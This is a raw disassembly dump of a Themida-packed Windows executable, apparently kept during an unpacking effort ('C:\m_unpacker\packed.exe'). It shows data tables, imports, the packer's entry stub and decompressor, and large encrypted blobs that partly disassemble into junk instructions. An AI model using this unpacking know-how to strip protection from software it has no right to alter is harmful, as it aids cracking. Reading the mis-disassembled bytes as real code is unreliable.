dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000FC000 (1032192.)
; Section size in file		: 000FC000 (1032192.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 5DF30D8Ah, 4EB7Bh, 54140h, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054BD74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054F30D SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054F583 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0054F5D4 SIZE 0000001C BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_54BD74
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_54BD74
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 1573594h, 6F8401F3h,	2E36E2FBh, 0C8EBEA11h, 0BA46B824h
		dd 736552F0h, 7261741Ch, 2F7041CEh, 9C784F2Eh, 5C5A5F21h
		dd 9B7F55D0h, 6F840371h, 0AFCC4DBFh, 37021A3h, 0C235458Eh
		dd 78E7571Fh, 1177D508h, 0DD857098h, 0C211457Eh, 54E07F3Dh
		dd 1C6D6568h, 21616469h, 0E797D455h, 525E7FACh,	9BD20133h
		dd 1EFDFAF4h, 8E22F801h, 92F21AE1h, 0CAA1112Eh,	7D37C203h
		dd 0DEE8BD25h, 8C58B39h, 40E860D4h, 0A3ED815Dh,	62A3501h
		dd 33759589h, 0E5B50D84h, 0A585471Fh, 0BD8302A8h, 10E09F1h
		dd 0E88B0C74h, 91B8E2C8h, 0F1C21E1Dh, 0C7244470h, 28B13E10h
		dd 0E8456A06h, 680729A3h, 783749Ah, 0A01DFA5h, 0A894B25h
		dd 0E910D5E9h, 0ECA50214h
		db 7Dh,	0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003691h
		fcmovb	st, st(7)


loc_4E1350:				; CODE XREF: Themida_:004E136Dj
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp ebx, 49h
		adc	bh, bh
		xchg	dl, [edx]
		inc	ebx
		jmp	short loc_4E1350
; ---------------------------------------------------------------------------
		db 36h
		dd 2661DC37h, 4C2C941h,	0C4814640h, 2FF687Ch, 40DAE449h
		dd 8B80458Dh, 0C708145Dh, 50441985h, 0D10AA08Dh, 18880AC3h
		dd 8A0B8941h, 2006BD81h, 0E375295Dh, 0BA8D4227h, 75C0648Eh
		dd 0BB0E8A80h, 5BF449h,	5437ABB8h, 0FCD0D378h, 4B08C30Fh
		dd 0AFB0F775h, 465247C3h, 2A46464Ah, 0D12B42F9h, 0D0A08A61h
		dd 8AFDF075h, 4DFC45EEh, 0AD04EB0Ah, 80468C3Ch,	53F7403Eh
		dd 346E84BAh, 0EB0C7D61h, 0F83E907Fh, 0F0126DCCh, 0F40ECA84h
		dd 0C14A8110h, 4004F065h, 0E0D1F8D6h, 60C20339h, 8ADB3328h
		dd 80301C1Ch, 0A72CCFBh, 773D390Ah, 0F2EB3E05h,	61142267h
		dd 7F0A0DF6h, 1E086F66h, 0AC34E5Fh, 411A10ACh, 0A0B7230h
		dd 0DE067746h, 118A224h, 0F4ECF05Dh, 1B7D7383h,	0CB07202h
		dd 0A576C037h, 4126AA66h, 8D07CEF8h, 3B00A86Ah,	820FFC55h
		dd 0B0BDA978h, 38BEAAC1h, 0E008BA50h, 0A870E0B9h, 4020BDFCh
		dd 0F01FE38h, 0FA754947h, 6AC522B9h, 7D01BBDCh,	82F11D11h
		dd 6002B7EBh, 3A21868Eh, 51072B0Eh, 0D1360F65h,	268A3B77h
		dd 10F9E9C4h, 18C01059h, 130EEADFh, 7000C29h, 0CE829C72h
		dd 8E8649h, 2C458F6Ch, 58C10C3h, 0B3612BC1h, 5899623Ah
		dd 0F46BBAF1h, 461E957h, 0C45F2123h, 0C758AC8h,	45820525h
		dd 21C31B08h, 0E0C45747h, 3382C4Ch, 8C6984D1h, 678034CBh
		dd 4E003982h, 100F765Bh, 3E3D51B8h, 3B3BD104h, 75424630h
		dd 87A32E09h, 0EC480E01h, 69065E4h, 0C5847140h,	968E1505h
		dd 53238E34h, 0A3C204C2h, 36718C29h, 0E40EE7B8h, 2BC3FFECh
		dd 47781h, 0C1341D22h, 7533F984h, 3FBC2064h, 990ADD1Dh
		dd 0CC0230EFh, 8CE2EC41h, 0FFCC7F67h, 453340E4h, 6094E9FAh
		dd 52C46200h, 11254D8Ch, 0B1AA2182h, 425AAB33h,	56291384h
		dd 825E82F4h, 81AA3FEEh, 39FD0815h, 0B9548A1Fh,	97234013h
		dd 0D83043A5h, 30A132D4h, 0C1B07EAh, 0BC01637Ah, 8D677855h
		dd 1C40E9DAh, 0CAC7B69h, 14EA2C2Bh, 0AA79D215h,	0C0A2F207h
		dd 0D4805904h, 9890DBh,	0E1633D62h, 825C4BBBh, 0DA02EC72h
		dd 0E28153FBh, 522F4105h, 0C4725A18h, 114D8A23h, 52420017h
		dd 0D5925BC4h, 10CA0C0Bh, 671D2D86h, 0D1DBBC07h, 3F505254h
		dd 0C15CEB81h, 1686C802h, 28E4335h, 0DF8C2F05h,	8058F10h
		dd 3300EAF9h, 0A91BBC51h, 1F355381h, 9B008A7Fh,	8A2190C4h
		dd 24651EFEh, 0DC5CEA1Eh, 982D7B81h, 0E1F05FB5h, 8B2603F3h
		dd 4D2A6BA1h, 3610C5C3h, 0E91123CAh, 0AA93000Fh, 9D5114D6h
		dd 4B4F007Fh, 0A188E365h, 74C35CC2h, 19F3EEEAh,	3462877Ch
		dd 31B9D0B6h, 0C00E1960h, 0B8AFC16Dh, 0E934287Dh, 0FD140259h
		dd 0BD5AB94Fh, 0DC08F498h, 0D0355801h, 615B5F67h, 1422BBD0h
		dd 138A10B8h, 7C00B241h, 9F38262h, 52F24FA8h, 0E48E348Dh
		dd 73717DB3h, 0C300FA77h, 48F1A6ABh, 0A6068110h, 46DA0C99h
		dd 0D00C5387h, 9044EA0Fh, 0A8BFA204h, 1C0F40D9h, 147B3BA9h
		dd 9A52F803h, 0EE366BF5h, 1E3A1918h, 0CAD875D7h, 915102E9h
		dd 4CB2060Dh, 0F22EAh, 0D3F6FBE6h, 48510D5h, 0F38C46A0h
		dd 4F6BEA2Ch, 55243080h, 0C53360h, 0D316A931h, 2E4F2CB5h
		dd 8D005DE6h, 3266449Ch, 34EF15h, 0ADFEBAC3h, 1EB775F7h
		dd 8AA7ED00h, 2B0FACE7h, 5331C05Eh, 0C107D030h,	0FFEA8E1Fh
		dd 381EDE80h, 70A5EFh, 0DCA31A3Fh, 199E8B7Fh, 38697630h
		dd 3064D8A4h, 4411C4E5h, 5E18148Ah, 0E921907Ch,	96BF4886h
		dd 70CD9B00h, 0AAB1C28Ah, 935BEA00h, 0C9C86C68h, 0EB1401F5h
		dd 0E5FF3C1Bh, 547A70D1h, 0F73DCEF4h, 595C83CAh, 0E0A3AB4Eh
		dd 3A06F7Ch, 0C33EDE2Ah, 0E4785719h, 4681C11Fh,	0D752F740h
		dd 0F82BE45Ch, 0CCEC0Fh, 65E5AA7Ah, 0B2144B50h,	85CE271Dh
		dd 8CD8817Dh, 9E705520h, 0F9542CCh, 2B1C3EDAh, 0C6451B01h
		dd 5941E830h, 617E183Ah, 6DD0ECE8h, 0E283F180h,	591EA134h
		dd 78043101h, 7A6BE056h, 0F18BC3D3h, 0C0EB0784h, 582FB6h
		dd 80BD5438h, 0B5027E5Bh, 4286360h, 75F1C098h, 0BC5C03B2h
		dd 3A846CF7h, 3D900FFh,	60185E37h, 316038E0h, 8F970082h
		dd 4719FC21h, 587FACB4h, 21DCF276h, 9174E44Ch, 8E0118B6h
